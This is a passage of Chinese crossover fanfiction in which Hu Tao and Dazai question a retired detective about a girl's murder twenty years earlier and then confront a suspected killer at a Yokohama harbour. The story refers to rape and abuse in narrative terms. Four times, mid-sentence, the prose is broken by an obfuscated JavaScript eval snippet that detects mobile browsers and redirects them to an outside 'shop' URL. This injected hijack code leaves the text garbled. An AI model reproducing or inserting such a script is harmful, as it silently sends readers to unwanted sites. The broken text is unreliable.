“哦!好乖好乖,你是专门替主人来迎接客人的吗?汪汪~” 胡桃笑嘻嘻地开口。 不知是不是巧合,胡桃蹲下的位置正好处于太宰治和黑狗中间,成功把某个前黑手党护在背后,挡下了大狗不善的瞪视。 她熟练地呼噜黑狗的脑袋,时不时逗猫一样用手指去挠大狗的下巴,一点都不担心凶猛的犬类张开血盆大口,一口咬断她的手指。 少女的手指白嫩纤细,挑战极限般在大狗的下巴、脸颊来回经过。老实说,这画面多少有点触目惊心了。 但有趣的是,这头前一秒还威猛凶狠的黑狗,愣是没发动攻击。在短暂的惊愕后,它也只是瞪圆了眼睛,喉咙发出警告的低音,试图用超凶的表情吓退这个过分自来熟的人类少女。 可惜,威吓没起到作用,反而让胡桃‘哦’了一声,像是明白什么,反手从口袋里掏出一条牛肉干,递到黑狗嘴边, “来,汪汪,见面礼!” 大黑狗:“……” 呸!区区一条牛肉干,它狗大爷是那种随便吃陌生人食物的蠢狗吗? 不吃,它狗大爷今天就算是饿死,被那个可疑的卷毛暗杀,也绝对不吃一口! 不愧是凶猛的狗大爷,铁骨铮铮! ……然后,它两眼就黏在了牛肉干上,不小心淌下一排诚实的口水。 “呵~” 一个嘲讽度拉满的笑音悠悠传来,尾巴还很有弧度地往上凹了一下。 用脚趾头想,都知道是出自哪个幼稚鬼。 “呸!汪汪!汪汪汪——!” 好极了。 这下,本就不友善的大黑狗彻底炸毛。 它两眼愤怒地吊起,开口就是一串优美嘹亮的狗狗祖安问候。 “……” 还捏着牛肉干的胡桃默默回头,看向太宰治的目光震撼中带着一丝复杂。 “约翰?你是和狗狗八字不合吗?” “还可以吧。” 前黑手党先生谦虚点头,言笑晏晏地表示胡堂主谬赞了,什么八字不合,也就一山不容二虎,尤其对面还是狗的水平而已。 庆幸的是,黑犬的狂吠并非全无好处。 至少,它成功把胡桃准备拜访的人叫出来了。 “大毛,收声,坐下。” 随着拐杖点地的轻响,一句利落的指令从屋内传出。 黑犬耳朵尖一竖,训练有素地挺直后背,端坐安静了下来。 也就是这个时候,胡桃和太宰治注意到,眼前的这头黑狗是残疾。 它其中一条后肢像是被人恶意用锯子锯过,即使是细心的缝合线,也无法掩饰伤口歪歪扭扭的疤痕。本该健壮的右腿也只剩下短短的、光秃秃的一小截。 不过,看它利箭似的冲刺速度,显然这点‘小伤’影响不到狗大爷半分。 “你们的来意,那臭小子已经和老夫说过了,进来吧。” 草薙胜平拄着拐杖从屋内走出。 似乎是想要表明来者客人的身份,这位不苟言笑的老头在经过黑狗时,特意伸出拐杖在自己的脚边轻轻点了点。 “咄、咄咄。” 几乎是拐杖敲地的一瞬间,原本威风凛凛的大黑狗立即失落地垂下耳朵。 它起身走到草薙生平拐杖点住的位置,对门口的两个人类轻声‘嗷呜’了一句,声音软绵绵的,像是在道歉。 “哎呀,真是聪明的乖狗狗~” 胡桃笑眯眯地弯腰,伸手在大黑狗的脑袋上又呼噜了一把。 作为主人的草薙胜平没有在意,径直带着人往屋内走。唯独在转身时,这位老刑警着重看了一眼太宰治,老人的目光锐利如鹰,丝毫不减当年。 “请坐,老夫这里只备了茶水,希望你们别介意。” “嘿嘿,客随主便,是我们贸然登门拜访嘛。” 胡桃笑着端起茶杯,呼呼吹了吹杯沿冒出的热气。 喝过茶后,自然要开始说正事了。 草薙生平开门见山:“你们想问什么?” 见对方这么爽快,胡桃也就不客气,“老先生,关于店主大叔、啊,就是竹本大叔,那两件案子有什么奇怪的地方吗?” “就是以您刑警的直觉,觉得蹊跷的地方!” 胡桃竖起手指补充道。 这没头没尾的一句,换个自尊心强一点的老刑警,这会儿恐怕已经抄起拐杖,把敢质疑自己的小兔崽子扫地出门。 不过出人意料的是,对面的草薙胜平只是沉默片刻。 随后,他深深地看了一眼胡桃,像是早已做好准备般轻叹一口气,拄着拐杖起身。 “在这等着。” 留下这一句后,草薙胜平就径直走向书房,留下大黑狗继续蹲在沙发边,全神贯注地盯着胡桃和太宰治,替主人‘监视’可疑分子。 ……尤其是后面那个卷毛! 大黑狗:警惕.jpg 太宰:横眉冷对大黑狗.jpg 等待期间,客厅的时钟一分一秒走过。 胡桃瞅了眼书房的方向,又看了看对面油光水滑的大黑狗,没忍住心痒地伸出手,对黑狗招了招。 “来,大毛,你现在可以吃牛肉干了哦!” “……” 大黑狗转过头,狗脸严肃地与胡桃对视。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262092|151613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两秒后,它终于前脚微微一动,迈着步伐走到了胡桃跟前,鼻子凑到少女递来的牛肉干前嗅了嗅。 就在大毛放松警惕,张口打算接受投喂时—— “哈哈!有破绽!” 太宰治的声音突然乍起,如平地一声雷。 某个暗搓搓观察许久的前黑手党‘咻’地伸手,速度迅如疾风,快如闪电。 他一把薅走了胡桃手里的牛肉干,‘嗷呜’一口丢进口中!一套动作堪称行云流水! 完了,太宰治还不忘了俯视狗子,对黑狗缓缓勾起嘴角,露出胜利者的笑容。 胡桃:“……” 大毛:“……!!” 大毛虽然不是人,但这里真的有一条狗! 黑狗气得直龇牙,但碍于主人‘善待客人’的命令,只能蹲在原地,冲着‘吧唧吧唧’嚼牛肉干的卷毛怒目而视。 所幸,草薙胜平没有离开多久,很快就拿着资料出现,阻止了一人一狗间的战争。 “就是这个了。” 草薙胜平把两份档案夹递给胡桃。 这两份资料是他退休后,凭着记忆复述整理出来的。 一份是竹本大叔的女儿,竹本桃香的案件资料,包括法医的验尸报告、犯人的口供以及草薙胜平私下的调查手记。 另一份,则是竹本大叔的小儿子的案件线索。 胡桃接过档案,顺手把儿童失踪的那份递给了太宰治。 “儿童失踪案没有异常,疑点在竹本桃香的案子上。” 草薙胜平在沙发处重新坐下,他看着胡桃一目十行地翻阅笔记,自己也慢慢陷入回忆。 “那三个犯人是老夫亲手抓到的。在这之前,除了面上的验尸报告外,老夫另外找法医了解过情况。” 然后,那位法医在犹豫之后,还是选择告诉了草薙胜平一个猜测。 胡桃:“什么猜测?” 草薙胜平安静了一秒,似乎是担心小姑娘觉得尴尬,他抬眼看了看胡桃,在确认对方不介意后,才继续说道, “竹本桃香体内的精.液检测指标不对。” “法医告诉我,根据竹本桃香的伤口撕裂情况,她生前至少被迫和四个人发生过关系。但碍于当时的DNA检测技术,再加上尸体沉海后造成的证据污染,法医本人也只是怀疑,没有确切的证据。” 法医不敢肯定,负责调查的草薙胜平却留了一个心眼。 于是,在外地抓住全国逃窜的犯人后,一向遵守规矩的草薙胜平难得违规,直接在旅馆里就对三个凶犯进行了审问。 然后,他得到一个细思极恐的口供。 “啊?杀人沉尸?我呸!你少放屁!” 彼时,廉价的汽车旅馆内 被拷在椅子上的犯人冷笑一声,竟然直接对草薙胜平吐出一口唾沫,张口就是被污蔑的愤怒语气, “我说警官,咱哥三虽然算不上什么好鸟,但那也是顶天立地、收钱办事的大丈夫!那小妞我们干了也就干了,顺便爽一下而已,有什么大不了的?” “别以为我们法盲,不懂法。” “强.奸判两年,杀人至少五年,运气不好还得摊上死刑!哥几个才不干,我们交货、我们走的时候那小妞可还活着!你别想把屎盆子扣我们头上!” “……” “……” 他们走的时候,竹本桃香还活着。 那一刻,得到口供的草薙胜平心口发冷。 直觉告诉他,这三个人渣没有说谎,这案子没完。 警局犯错了。 他们,漏了一个真正的杀人凶手。 13.Episode 13 准备麻袋 先不管警方的调查失误。 无论如何,既然案件出现了新的疑点,按理来说都应该立即上报,加派人手重新调查。 但天不遂人愿。 或许是草薙胜平的私下审问,让犯人产生了危机感,以为自己绝对会被冠上‘杀人沉尸’的罪名。 于是,在死刑的阴影下,这三个所谓的‘顶天立地的大丈夫’选择了逃跑。 结果恶有恶报,他们陷入一场车祸追尾,被一辆刹车失控的卡车当场碾成肉泥。 这三人死了不要紧,竹本桃香的案子却陷入了困境。 一方面是死无对证。 另一方面,则是草薙胜平违规审讯的行为,让犯人的口供可信度大打折扣。 再加上犯人本身就是无恶不作的人渣,上司理所当然地认为,这几人是在推脱罪名,企图重罪轻判。 他们驳回了草薙胜平再调查的申请,同时命令对方立刻结案,不要再给警局和家属带来不必要的负面影响。 “……可是——” 草薙胜平皱紧眉,还想再争取,可惜—— “够了!” 上司猛地拔高音量,他严厉地盯着草薙胜平。 片刻后,他声音低了下去,换上更温和的语气,“胜平,我知道你尽职尽责,但别太陷进去了。” “从立案到追捕,你在这桩案子上整整花费了三个多月,这期间你什么也没干,知道咱们局里替你顶了多少压力吗?” “好了,既然抓到了犯人,就别再钻牛角尖,快去告诉家属好消息吧,他们一直在警局等着。” “对了,别说多余的话,知道吗?” “——你的回答呢?草薙警部补?” 草薙胜平:“……” 彼时的草薙胜平不甘心,上层可以无视疑点强行结案,他却无法对家属交代。但在严厉的处分警告下,他无法将自己的猜想告知竹本。 更何况…… 那也只是他的猜想而已。 万一,万一他错了呢? 万一正如上司所言,那些口供,不过是犯人推脱罪行的借口呢? 如果他们真的没有杀人沉尸,为什么要逃跑,提供线索、戴罪立功不好吗? 在多方的压力下,草薙胜平最终选择了沉默,决定私下调查。 然后,一直到了今天,他始终一无所获。 …… ………… “是老夫对不住竹本。” 客厅内 草薙胜平佝偻着背,语气沉重, “如果竹本真的因此选择了自裁,老夫也难辞其咎……小姑娘,如果你有任何线索,哪怕赌上老夫的全部身家,身败名裂,老夫也愿意——” “好啊,那就这么说定了。” 胡桃突然开口,打断了草薙胜平未完的赌咒誓言。 她‘啪’的一声合上手中的资料,笑容灿烂地对老者说道, “老先生,我向你保证,这个凶手很快就会落网,到时候你可要遵守承诺,把刚刚的证词重新对检察官讲一遍哦!” “说谎的话——” 胡桃意味深长地拉长尾音,说出了一句每个孩子都知道的童谣, “拉钩上吊一百年,说谎的人,可是要吞一千根针哦!” 草薙胜平一愣。 随即,他郑重地点了点头,声音掷地有声,“好,一言为定。” 事情到这一步,胡桃和太宰治也差不多该告辞了。 只是在离开前,一直沉默的太宰治突然伸手。 他抽出了档案夹上的一张‘证物相片影印’,盯着上面焦黑的长命锁看了一会儿,开口问道, “草薙先生,关于当年的儿童失踪案,你还记得当时那个唯一幸存者的名字吗?” “幸存者?” 草薙胜平思考地皱起眉。 他努力回忆了许久,最后只能遗憾地摇了摇头,“抱歉,那桩案子老夫没有直接参与,主要是东京那边主导。” “据说原搜查官由于另一起爆发的恶.性案件,被紧急调援过一轮,这才让横滨警局第三系配合最后的抓捕工作。” “不过——” 退休的老刑警说到这顿了一秒,他想起了一个细节。 “当时负责检查的医护人员和我们闲聊时提到,幸亏那个女孩的身体素质不错,才能一个人逃出犯人窝点那么远……” “对了,她们还提到一件事。” 草薙胜平说着伸出手指,示意地指了指自己的食指关节, “这里,那个女孩的食指关节处长了一颗红痣。” 在营救成功后,女孩惊魂未定,和医护人员对话时总喜欢摩挲那里。 由于这个细节实在太过少见,那个负责检查的护士也就顺带记住了。 ……红痣。 在听到这个细节后,胡桃与太宰治几乎同时神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14267877|151613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情一动。 两人彼此转头对视了一眼,随后,脸上默契地浮现起一个微笑。 胡桃:“嘿嘿,看来,咱们运气不错。” 太宰:“谁说不是呢?” 两个少年人笑脸盈盈,唯独坐在沙发上的老刑警,头上问号直冒。 别说,这副一脸懵逼的模样,还真和他的菜鸟徒弟有几分相似。 “好啦,接下来就是正式收网啦!让咱们一口气多烧几个!” “不过,在这以前……” 胡桃思索了一会儿,临行前向草薙胜平借了一部手机,给小伙伴拨去电话。 于是,数秒后 身在中华街的瑞伊,接到了自家堂主的两条指令—— 【一,晚上九点,北边港口见,带上麻绳和麻袋。】 【二,让小克去南边港口的旧仓库藏好,什么也不用做,保护好约翰就行。】 …… ………… 横滨中华街,挂断通话的两人面面相觑,反应截然不同,精彩万分。 瑞伊疑惑:“麻绳就算了,为什么还要麻袋?” 扎克则更关心另一个问题,“……什么?那个假装失忆的黑心鬼卷毛竟然还在?!” 这一刻,扎克出色的野兽派直觉再次发挥了作用,他突然有一种很不好的预感—— 那个黑心卷毛,该不会要在往生堂常驻吧?! **** 【一个小剧场】 如果往生堂的成员进卡池的话—— 瑞伊&扎克:S级,常驻双生五星。 当两人同时在场时,瑞伊可选定一名敌方施加‘勘破’效果。扎克将挥舞镰刀对指定敌人造成多段伤害,最后一段为群体攻击,必定暴击。 当瑞伊受到暴击攻击后,扎克陷入狂暴状态,为全体敌人附加易伤与狂气值,每层狂气值增加10%爆伤,上限六层,可叠加。 * 胡桃:开服邮箱领取,稀有度(??),技能(??),具体情况待玩家自行探索。 * 太宰治:S级,限定五星法器角色 大招施放期间,立即为场上所有角色增加60%暴击伤害,并永久扣除20%生命值上限,此技能效果不分敌我。 注:扣除生命值为强制效果,无法被驱散恢……嗯?他人呢?怎么跑常驻池去了! 快!设计师,快用PS把他抠出来啊啊! 14.Episode 14 警察宰,驱灵师胡桃 横滨时间,晚上20:40分 身处公寓的武藤一诚接到了一条手机短信,对面的人自称往生堂,告知已经做好了‘驱邪’的准备工作,就等他来了。 至于这个‘驱邪’的场所—— 正是一切‘诅咒’的源头,北边港口仓库。 奇怪的是,对于这么一个地址,武藤一诚表现得极为平静。那分明是他恐惧的‘女鬼’所在,男人的脸上却再也不见警局时的惊慌失措。 “哈。”来了。 果然,和他事后打听的一样,那个「往生堂」的小姑娘有点能耐。 专攻鬼神灵异么? 哈,那就等她帮自己解决掉那些鬼影,然后他再—— 公寓沙发上,武藤一诚盯着那条消息,反光的镜片下似乎有一抹狠辣闪过,但再仔细看时,又什么也没有。 “别害怕,宝贝,我很快回来。” 武藤一诚转过头,安抚地亲了亲池田萌奈的脸颊,随即起身走向书房。 等他再出来时,男人的身上多了一件长外套,口袋鼓囊,像是塞了什么东西。 沙发上的池田萌奈没有动,她全程维持着大腿被掰开架起的姿势,安静而乖巧地注视着武藤一诚离开。 直到—— “啪嗒。” 公寓大门打开又合上,外头皮鞋的脚步声远去,彻底听不到了,池田萌奈瞬间收起脸上的不舍,面无表情地从沙发上爬起。 她随手扯过一旁的毛毯盖住赤.裸的大腿,同时熟练地抬起手,撕开贴在嘴巴上的胶带。 「强.奸游戏」 自从两人正式对外宣布婚期后,武藤一诚在‘床笫之欢’上就愈加偏激,就像是彻底撕毁表面的伪装,露出底下令人作呕的癖好。 一开始,他还只是用一些小玩具,越到后期,尺度越来越大。 直到某一天,刚洗完澡的池田萌奈一边擦着头发,围着浴巾从浴室内走出来。 头上的电灯忽然不明闪烁,还不等池田萌奈反应过来发生了什么,下一秒,她就被一股巨大的力道压制在餐桌上。 紧接着,就是一段粗暴的…… 而这个施.暴的不是别人,正是她未来的丈夫,武藤一诚。 “怎么样,宝贝,刺激吗?” 面对吓得魂飞魄散的未婚妻,武藤一诚丝毫没有愧疚的表现。他满足地搂着人,细密地亲吻池田萌奈的脖子。 本来,由于‘公寓第三人’和‘女鬼诅咒’的事件,武藤一诚消停了很长一段时间。 然而今天,不知道是不是自诩异常很快解决,武藤一诚故态复萌,再次有了与未婚妻‘玩乐’的心情。 “恶心。” “恶心。” “好恶心。” 公寓内,池田萌奈低声重复地喃喃自语,似乎想借此平息心中的恶气和怒火。 就在这时—— “嘀,嘀嘀。” 一阵手机铃声响起,打破了公寓内死寂的空气。 屏幕的来电显示是一串座机号,池田萌奈记得这串号码,是横滨警署的电话。 【总算来了!】 池田萌奈的呼吸一顿。 她紧盯着屏幕上的号码,几乎是迫不及待地摁下接听键。 【“晚上好,池田小姐,这边是横滨警署。我叫渡边,警号是YH643。”】 一个清越的男音从话筒内传出,有条不紊地说道, 【“我们在南边港口的仓库,发现了一伙儿非法入侵他人住所的嫌疑人,作案范围包括您的公寓附近。”】 【“中村警察正带人回警局,请问,您明天方便来一趟横滨警署吗?帮忙指认嫌犯,其中或许有——”】 “不用了!” 对面的话还没说完,池田萌奈骤然开口打断下文, “南边的港口仓库是吗?等着,我现在就过去!” 话毕,池田萌奈猛地站起身。 她也不管电话另一头的警察是否同意,直接挂断通话,捡起地板的衣服就往身上套。 在经过玄关时,池田萌奈像是想到什么,又脚下一转,冲回卧室内。 保险起见,她从衣柜的最底层翻出一个手提包,仔细检查了一下里头的东西,确认无误后小心地收起。 之后,她又翻出丝巾系在脖子上,腕带缠上手腕,遮住身上的痕迹。 最后,池田萌奈穿上外套,背着包跑向门口。 公寓的玄关处放着一面衣帽镜。 穿鞋时,池田萌奈侧头照了照镜子,干净的镜面清晰地映出女人脸上的笑脸,以及—— 她眼中毫不掩饰的兴奋与狠毒。 【你终于要完了,去死吧,武藤一诚。】 …… ………… 二十分钟后,池田萌奈赶到南边的港口仓库。 然而,别说是嫌疑人了,她连一辆警车都没有看到。 偌大的仓库区,只有一个清瘦的身影靠在墙边,在听到动静时转过头,对自己开朗挥手。 “池田小姐,这边这边~” 这个人…… 池田萌奈记得他,对方是傍晚横滨警局时,站在那个小姑娘身边的少年。 不过显然,这点信息,尚且不足以让女人放下警惕。 “你什么意思?中村警察呢?” 池田萌奈沉下脸,警惕地在原地站住,盯着远处的太宰治。 “啊,请不要误会,池田小姐。” 夜风中,黑发鸢眼的少年微笑地弯起眼睛。 他贴心地摊开空空如也的手掌,示意自己没有恶意, “你看,正如我在电话里所说,中村前辈确实抓到了一伙嫌疑人,但他已经带人回局里啦,我是自作主张地留在这等你的。” 中村前辈,自作主张。 池田萌奈迅速抓住自己最关心的重点,“你也是警察?” “如假包换。” 某个前黑手党干部,脸不红心不跳地点头。 他施施然地从兜里掏出了一本警官证,用食指挑开给池田萌奈看。 上面贴着太宰治的照片,下方的名字则是‘渡边幸’。 嗯,太宰治没说谎,这确实是一本如假包换的警察证件。只不过,证件稍微进行了一些小小的修改。 至于这本原件,则是属于某个被摸走了证件,还一无所知地躺在宿舍里,抱着枕头进入梦乡的菜鸟警察。 “……你有什么事。” 在看到证件后,池田萌奈明显软下了语气。 “当然是想要帮助池田小姐你啦。” 新上任的太宰警察(?)眨巴一下眼睛,随即换上一副更认真的语气, “池田小姐,我和死脑筋的中村前辈不一样,我早就发现了,你在说谎,对吗?” “其实从一开始就没有所谓的‘第三人’,所有的一切都是你的自导自演。” “……” 太宰治猝不及防地摊牌,让池田萌奈猛地捏紧挎包的手提袋,软化的语气重新冷硬起来, “渡边先生,你这话是在指控我报假警吗?专门自导自演,拿自己的名誉和未来的家庭开玩笑?” “未来的家庭啊——” 不知道是被这句话里的哪一个词逗乐,太宰治笑了一下,继续说道, “池田小姐,你大可不必这么紧张。话又说回来,这难道不正是你想要的吗?” “不出意外的话,你留在警局的那些‘证物’很快会被送去鉴定科。届时,只要稍微调查一下就能发现,不管是便利贴还是钥匙,上面都只有你和武藤先生两人的指纹。” 当然,前面几样还可以辩解,说是犯人的指纹不小心被覆盖掉,但最后一张便利贴就不同了。 按照池田萌奈的说法,那张便利贴既不是她贴上去的,也不可能是出差的武藤一诚。 那么,排除其余可能后,结果只剩下那位躲在公寓里的‘第三人’。 但很可惜,从来就没有第三人。 太宰治敢肯定,那张便利贴上,只会有池田萌奈一个人的指纹。 “对了,还有另一件事。” 太宰治一边说着,又从口袋里掏出手机,把屏幕调到相册的页面,在池田萌奈的眼前晃了晃。 手机骤然亮起的屏幕光源,让池田萌奈微微眯起眼睛。 此刻,屏幕上清晰地排着一列名单,上面是中华街几个店铺的名字。 “保险起见,池田小姐,我们也稍微调查了一下那些‘缠’着你未婚夫的纸扎小人。” “其他人或许对这些冥币样式感到陌生,但警局合作的葬仪社,往生堂的胡堂主对这些再熟悉不过。” 糖果、邀请函、礼服、珠宝…… 这些纸扎用品可不是超市里的饮料零食,随手就能买到。 极具特性的风格,注定了它们只有在中华街,专门经营丧葬祭祀用品的店铺才能定制获得。 不巧,这些店铺,全是往生堂的老熟人。 “池田小姐,胡堂主给我们列了一个名单。警方只需要一一排查,很快就能找到定制那些纸扎小人的货源,当然,也包括它们的订购人。” 话说到这份上,相信只要是个智力正常的人,都知道这些意味着什么。 但女人依旧没有表态。 “池田小姐,容我猜测,你费尽心机地设计这一连串变故,就是希望警方上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285480|151613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门搜查你的公寓,对吗?” 太宰治的声音温和,循循善诱地问道, “你想告诉我们什么?你希望我们在那栋公寓里,找到什么?” 池田萌奈:“……” 池田萌奈用力咬紧牙关,她抬起脸,清秀的脸颊在月光的映照下显得愈发羸弱可怜。 “池田小姐,你是一个聪明人。” 太宰治轻叹一口气,表现得就像一个真正宽厚温柔的警察, “我说过,我和死板的中村前辈不一样,我相信你有自己的苦衷。但如果你一直这样保持沉默,拒不配合,恐怕我也帮不了你。” “……” “……” 池田萌奈依旧沉默着。 但太宰治的这一番话,如同一柄标着倒计时的软刀子,毫不客气地戳进池田萌奈的弱点,让她无法控制地隐隐发抖,痛苦挣扎的表情溢于言表。 “我……” 时间一分一秒的流逝。 在足足一个世纪那么长的心理挣扎后,池田萌奈像是终于下定了决心。 她用力深呼吸,但不是开口道出真相,而是颤抖地抬起手,然后—— 然后,她当着太宰治的面,开始一件一件地解开身上的衣饰。 丝巾、腕带、外套。 直到遮掩的饰品尽数褪去,只留下单薄的吊带和衬裙,池田萌奈才向前一步,主动把伤口暴露在年轻警察的眼底。 轻柔的月光从夜空照下,清晰地照亮女人的皮肤,以及缠绕在手脚上的、狰狞的青紫伤口。 青紫的、肿胀的、有鞭子抽打过的痕迹,还有手铐束缚过的磨痕。 这些尽数展露在太宰治的眼底。 那不像是情侣间该有的情.趣爱痕,说是虐.待也不为过。 “……这就是我的理由。” 港口的夜风中,池田萌奈浑身颤抖。 她柔弱地看着太宰治,眼中泪光闪烁, “我的未婚夫是个变态,他、他一直都对我……他是个彻头彻尾的强.奸犯!这是我能想到的唯一方法。” “只要你们搜查那间公寓,一定、一定能找到更多的证据!” “请救救我,渡边君。” ***** 与此同时,另一边 北边港口 “……什么?你的意思是根本就没有怨灵,所有的一切,都是萌奈策划的?!” “包括那些纸人,公寓里的‘第三人’也是?!” 此刻,武藤一诚的心情有点凌乱。 他风尘仆仆地赶到现场,还来不及摆好姿势,配合接受传说中的‘除灵’仪式,就被胡桃的一连串科学真相糊了一脸。 武藤一诚不可置信地睁大眼睛,看起来相当震惊。 该怎么形容他的表情呢? 这一刻,他好像第一次发现,原来世界上真的有邪恶。 “不对,那、那些鬼童黑影又是怎么回事?我明明都看到了!”武藤一诚回过神,激动地反问。 可惜,这个反应错了。 它提前暴露了武藤一诚的致命破绽—— “嗯?这就有意思了。” 港口边,胡桃惊讶地看向武藤一诚,语气里满是好奇, “大叔,比起未婚妻自导自演吓唬自己的理由,你竟然更在意鬼童和黑影吗?看起来,你是真的很害怕被鬼缠身啊。” “种花家有句老话,叫做‘平日不做亏心事,半夜不怕鬼敲门’。” “大叔,你该不会真的干了什么可怕的亏心事吧?” “……我!” 武藤一诚哽住,那副气极又一时无语的表情演得实在惟妙惟肖。 再努力进修一下,说不定还能进军演艺界,角逐今年的奥斯卡小金人。 “好吧好吧,既然你更关心鬼怪的部分。” 胡桃两手一摊,配合地更换话题, “关于鬼童黑影……唔,虽然本堂主很想安慰你,那些都是日有所思,夜有所梦的结果,不过在这以前——” 胡桃说到这暂停了一秒。 她可爱地歪了歪脑袋,对武藤一诚露出了一个大大的笑容。 这一刻,胡堂主的笑脸有多么俏皮可爱,说出的话就有多么直白。 “大叔,在本堂主正式除灵以前,你能有一句实话吗?比如,你在大衣的口袋里藏了什么?” “又比如,这里——” 谈话间,胡桃抬起右脚,足尖在港口的水泥地上点了点, “麻烦你先告诉我,二十年前,你是怎么一路尾随店主大叔的女儿竹本桃香,在这里杀人后,把她丢进海里的?” “——杀人犯先生。” 15.Episode 15 杀机毕露 如果要问胡桃,她是什么时候发现武藤一诚心怀鬼胎,不是个好东西的,那么答案是—— 从一开始。 缘由出自北边港口的闹鬼事件。 随着‘水鬼’‘怨灵’的流言传播范围不断扩大,它很快引起了胡桃的注意。 所谓的女鬼,其实是一个十四岁女孩的魂灵。 本应该沉寂,却在某一天突然出现,不断在抛尸之地重复自己的死亡过程。 事实上,胡桃追查到源头有一段时间了,但一直没采取行动。 一方面,是她暂时不想用太粗暴的方式,对待这个可怜的‘女孩’。 另一个更重要的原因,自然是对方没有伤害普通人的意图。女孩与其说是现身,更像是企图通过‘被看见’这一行径,引来谁的视线。 追查期间,胡桃是抱着善意前来的,希望送‘人’离开。 但很可惜,女孩像是察觉到胡桃的存在,每次胡桃一靠近港口边,她就躲进鱼腹中消失不见,屡屡让堂主小姐扑了个空。 “欸,所以……果然是前置条件不够吗?” 胡桃手指捏着下巴,兀自陷入沉思。 没办法,既然这样,那就只能花点时间,从头查起了。 这样想着,堂主小姐特地选了一个‘诸事大吉’的黄道吉日,大清早扛着鱼竿蹲守在港口边,就等着‘大鱼’上钩,来一场掏心掏肺的谈话。 结果,‘大鱼’没钓上来,倒是冒出一个客户。 不过倒也不是坏事。 这位客户不愧是黄道吉日的象征,成功给她带来了钓鱼上钩的‘诱饵’,以及,一段往事和真相。 “……约翰,咱们往生堂呢,收活人的前送死人上路,须做到两方都满意。如果那是店主大叔的愿望,咱们当然不干涉。” “但,死人那一边呢?” 这句话,胡桃既是对试探往生堂深浅的太宰治说的,也是对那个徘徊于港口‘魂灵’说的。 「好吧,如果这就是你的心愿……」 …… ………… 时间回到现在 横滨,北边港口 “偶尔说一点实话如何?大叔。” “比如,你是怎么一路尾随店主大叔的女儿,在这里杀人后,把她丢进海里的?躲了二十年的杀人犯先生?” 少女的嗓音在夜晚的海风中回荡,带着与生俱来的活泼俏皮。它落在人耳中,不像冷酷的指控,倒更像是个可爱又有点冒失的小玩笑。 “……杀人,等一下、等一下,小姑娘,这都哪儿是哪儿。” 武藤一诚哭笑不得,一副被捣蛋的无奈模样。但实际上,他的右手已经伸进了大衣的口袋里,隔着布料轻轻握住手柄。 喀哒。 一声清脆的机械音响起,那是枪支的零件碰撞时特有的动静。 毫无疑问,武藤一诚除了来‘驱邪’外,还打着杀人灭口的主意。 毕竟,当时在警局时,某个堂主小姐可是张口就是一句‘被人凭空丢进海里,无法呼吸’。 关于这一点,应该没人知道才对。 除了他这个当事人之外,不该有第二个人知道。 “说什么躲了二十年——” 尽管内里恶意丛生,面上,武藤一诚依旧维持着无奈的宽厚语气,镜片后的眼睛却如毒蛇一般,对准胡桃, “小姑娘,饭可以乱吃,有些话可不能随便说啊。叔叔我可是博多人,这几年才定居横滨。” “哦,博多人!那就不奇怪了。” 胡桃恍然大悟地点头,明白过来, “博多啊……本堂主听说那里民风淳朴,人才辈出。市长儿子更是早早就脱离了高级趣味,常年干着见不得光的虫豸勾当。”(①) “想必,大叔你也深谙此道吧?” “对了,这么说起来——” 胡桃可爱地一歪脑袋,好奇地看着武藤一诚, “从一开始的警局报案,大叔你就认定了徘徊在北边港口的是‘女鬼’呢。” “为什么呢?明明传言里还有很多其他的说法,比如幽灵船啦,僵尸啊,水鬼啊。” 武藤一诚没有回答。 他缓缓收起了笑容,目光阴沉地盯着胡桃。 片刻后,男人像是想到什么,脸上又重新挂起虚伪的笑容,问出一句看似无关紧要的话, “小姑娘,你身边的那位同伴呢?他什么时候来?” “嗯?你说约翰吗?” 胡桃眨巴一下眼睛,坦诚地回答,“他还有其他重要的事情,驱邪而已,本堂主一个人就能完成啦!” “是吗,那真是太让人放心了。”武藤一诚假惺惺地说道。 “博多人,这几年才回到横滨——” 胡桃沉吟片刻。 她像是没发现男人危险的眼神,自顾自地双手后背,轻盈地跳上港口边的石道,如同玩闹的孩童般,在上面摇摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 